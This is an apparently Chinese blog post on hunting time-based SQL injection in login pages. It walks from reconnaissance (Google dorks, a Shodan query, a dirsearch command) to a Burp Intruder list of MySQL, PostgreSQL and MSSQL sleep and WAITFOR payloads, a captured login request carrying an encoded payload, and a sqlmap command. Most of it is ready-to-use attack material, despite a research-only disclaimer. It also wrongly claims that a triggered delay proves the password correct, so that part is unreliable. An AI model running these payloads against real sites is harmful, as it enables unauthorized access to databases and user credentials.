分享一个如何寻找sqli的思路
声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
正文
何为基于时间的SQLi
主要利用了一些数据库系统中存在的时间延迟,以进行攻击。
具体来说,攻击者会向数据库发送一条带有恶意代码的 SQL 查询语句,这条语句的作用是让数据库系统执行一些操作,比如执行睡眠函数,这样就可以使数据库系统延迟一段时间。攻击者可以通过测量这段延迟来判断数据库的输出是否正确。
假设有一个登录表单,其中有两个字段:用户名和密码。表单提交后,后端代码会执行一条 SQL 查询语句,来验证用户名和密码是否正确。假设这条 SQL 查询语句的形式如下:
SELECT * FROM users WHERE username='$username' AND password='$password';
攻击者可以使用基于时间的SQL 注入攻击来猜测用户的密码。为了探测数据库是否会执行睡眠函数,攻击者可以在密码字段中输入如下恶意代码:
' OR SLEEP(5)=0 --
这条代码会让 SQL 查询语句的形式变成这样:
SELECT * FROM users WHERE username='$username' AND password='' OR SLEEP(5)=0 --';
这条语句会让数据库系统执行睡眠函数,使数据库系统延迟 5 秒。如果数据库系统执行了睡眠函数,那么说明密码是正确的,攻击者就可以猜测出用户的密码。
当然,这只是一个简单的例子,在实际操作中,攻击者可能会使用更加复杂的恶意代码来进行攻击。
哪里可以找到基于时间的SQLi
登陆页面 Headers GET参数
这里主要关注登录页面,并尝试检查ORG是否在任何域中使用jsp,php或aspx。
方法
方法1: 利用google dork
site:target.com inurl:login | inurl:signin | intitle:Login | intitle:"sign in" | inurl:auth
方法2: 使用Shodan
http.title:”target”
方法3: FUZZING
使用dirsearch:
dirsearch.py -l target.txt -e php,asp,aspx,jsp,py,txt,conf,config,bak,backup,swp,old,db,sqlasp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old,sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip -i 200 — full-url
测试
在搜集到所有信息之后,下面进行测试:
1.输入用户名用密码
2.使用Bp,发送请求至intruder
3.使用如下payload:
or sleep 5 —
or sleep 5
or sleep(5) —
or sleep(5)
or SELECT pg_sleep(5);
(SELECT pg_sleep(5))
pg_sleep(5) —
1 or pg_sleep(5) —
“ or pg_sleep(5) —
‘ or pg_sleep(5) —
1) or pg_sleep(5) —
;waitfor delay ‘0:0:5’ —
‘;WAITFOR DELAY ‘0:0:5’ —
);waitfor delay ‘0:0:5’ —
‘;waitfor delay ‘0:0:5’ —
“;waitfor delay ‘0:0:5’ —
‘);waitfor delay ‘0:0:5’ —
“);waitfor delay ‘0:0:5’ —
));waitfor delay ‘0:0:5’ —
‘));waitfor delay ‘0:0:5’ —
“));waitfor delay ‘0:0:5’ —
“) IF (1=1) WAITFOR DELAY ‘0:0:5’ —
‘;%5waitfor%5delay%5’0:0:5′%5 — %5
‘ WAITFOR DELAY ‘0:0:5’ —
4.将用户名和密码作为攻击位置
5.攻击模式使用pitchfork模式
6.启用攻击
一旦发现长度有异常或者status code不可见,而后可以在sqlmap中进行测试
复制请求,如下所示(request.txt):
POST /products/der/admin/index.php HTTP/1.1
Host: stite.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
Origin: https://site.der.net
Connection: close
Cookie: PHPSESSID=ckpekt03vhn9mlgaapa50kujt3; _ga_97C2F8CQVY=GS1.1.1672995465.1.0.1672995465.0.0.0; _ga=GA1.1.582203600.1672995466
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=’%3b%5waitfor%5delay%5′0%3a0%3a5′%5
-
%5&password=’%3b%5waitfor%5delay%5′0%3a0%3a5′%5
-
%5&btn_login=
运行:
sqlmap -r request.txt -b
还没有评论,来说两句吧...